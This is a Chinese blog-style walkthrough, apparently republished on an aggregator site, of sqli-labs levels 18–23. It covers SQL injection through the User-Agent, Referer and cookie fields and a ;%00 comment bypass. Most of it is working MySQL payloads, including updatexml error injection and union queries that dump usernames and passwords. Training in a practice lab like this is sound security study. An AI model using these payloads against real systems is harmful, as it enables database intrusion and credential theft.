IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 大数据 -> sqli-labs(18-23关) -> 正文阅读

[大数据]sqli-labs(18-23关)

less-18(User-Agent注入)

登录失败显示ip地址
登录成功显示ip地址和User-Agent
在username和password处尝试注入均被转义,无法注入
测试的关键利用注入语句为

$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

因为uagents的数据是会写入数据库再输出的,这是我们得以成功注入的关键
分析后得知,抓包修改请求包的User Agent(关键是闭合前后的语句)

' or updatexml(1,concat(0x7e,(select database() limit 0,1),0x7e),1) and '1'='1

' or updatexml(1,concat(0x7e,(database()),0x7e),1), '','')#

成功报错
在这里插入图片描述

less-19(referer注入)

登录成功显示的是Referer信息
登录失败是没有回显信息的
与18关相似,区别在于与数据库交互的地方在referer这里
在这里插入图片描述

less-20(cookie注入)

查看源码发现
在登录之后后台会将username放入cookie中,再次登录的时候,只要是cookie没有过期,就会去cookie里面取值,然后进行查询
使用Cookie Editor(一个火狐插件)
在cookie处注入

' union select 1 ,2,database()#

正常登录界面如下:
在这里插入图片描述

修改cookie后刷新界面
在这里插入图片描述

less-21(cookie注入)

同less-20
区别在于less-21的cookie是base64加密过的,其他同上一题
在这里插入图片描述

less-22

同上,这关与前面不同的是用的是双引号闭合

less-23(00截断)

阅读源代码发现,这里参数id输入的 # 和 – 都会被替换为空值
针对sqllabs可以使用 ;%00 做注释来绕过
查询语句部分可以用常规的union select联合查询
也可以用updatexml报错注入来做

?id=1     返回正常
?id=1'     返回异常,说明可能存在漏洞
?id=1' --+      或者
?id=1' #         均返回错误,通过源代码分析,我们得知--+    #  都被替换为了空格,这里使用      ;%00充当注释符
?id=1'  order by 3  ;%00     查多少列
?id=-1'  union select 1,2,3    ;%00       查找回显位置
?id=-1'  union select 1,2, group_concat(schema_name) from    information_schema.schemata    ;%00             查库名
?id=-1'  union select 1,2, group_concat(table_name) from  information_schema.tables where table_schema = 0x7365637572697479    ;%00             查表名
?id=-1'  union select 1,2, group_concat(column_name) from information_schema.columns where table_name = 0x7573657273   ;%00             查字段名
?id=-1'  union select 1,2, group_concat(concat_ws(0x7e,username,password)) from security.users   ;%00             查出字段中所有的值

拓展:
在执行sql语句的时候,如果order by 语句写在or/and语句前面,优先执行的是or/and语句,order by 语句会被直接忽略不执行,更不会报错
但是order by 语句在or/and语句后面的时候,order by 语句会被正常执行
但是如果我们想通过order by语句来查询字段数的时候,应该如何去利用呢?
首先想到的是
?id=1’ or ‘1’=‘1’ order by 10
但是后台的查询语句中会构造成
SELECT * FROM users WHERE id=‘1’ or ‘1’=‘1’ order by 10’ LIMIT 0,1
多一个引号,从而产生报错
那么
?id=1’ or ‘1’='1 order by 10
会回显出正常的数据而不会报错
在这里插入图片描述

这里我们明知道只有三个字段,但是却回显了正常的的数据而没有报错,说明在sql查询语句中order by 10还是被忽略了
所以这里不能使用order by 语句查询,只能使用union select

?id=1111'  union select 1,2,3,4 and '1'='1  
?id=1111'  union select 1,2,3,4 or '1'='1  

因为这里的and 或 or作为了联合查询第二个语句的条件而不是第一个语句where的条件,
即:and/or 与前面的union select的优先级是一样的,所以两个语句都会被执行

?id=1111'  union select 1,(select group_concat(schema_name) from information_schema.schemata),3 or '1'='1                     #后面接常规的sql报错注入流程

当然直接使用updatexml报错注入也行

?id=1' and updatexml(1,concat(0x7e,(database()),0x7e),1) or '1'='1           #爆数据库
?id=1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 2,1),0x7e),1) or '1'='1    #查询所有的数据库,使用limit进行逐个查询

这里如果不想用limit一个一个查也可以直接用group_concat拼接一次查完,但是不推荐,有可能数据会显示不完全导致数据丢失(示范如下)

?id=1' and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1) or '1'='1

总结:
order by不得行就联合查询,联合查询还是不得行就updatexml报错注入

参考:
SqliLab_Mysql_Injection详解:

https://blog.csdn.net/qq_41260930/article/details/102838945

MySQL架构总览->查询执行流程->SQL解析顺序:

https://www.cnblogs.com/annsshadow/p/5037667.html

  大数据 最新文章
实现Kafka至少消费一次
亚马逊云科技:还在苦于ETL?Zero ETL的时代
初探MapReduce
【SpringBoot框架篇】32.基于注解+redis实现
Elasticsearch:如何减少 Elasticsearch 集
Go redis操作
Redis面试题
专题五 Redis高并发场景
基于GBase8s和Calcite的多数据源查询
Redis——底层数据结构原理
上一篇文章      下一篇文章      查看所有文章
加:2022-04-09 18:28:13  更:2022-04-09 18:31:47 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 4:09:54-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码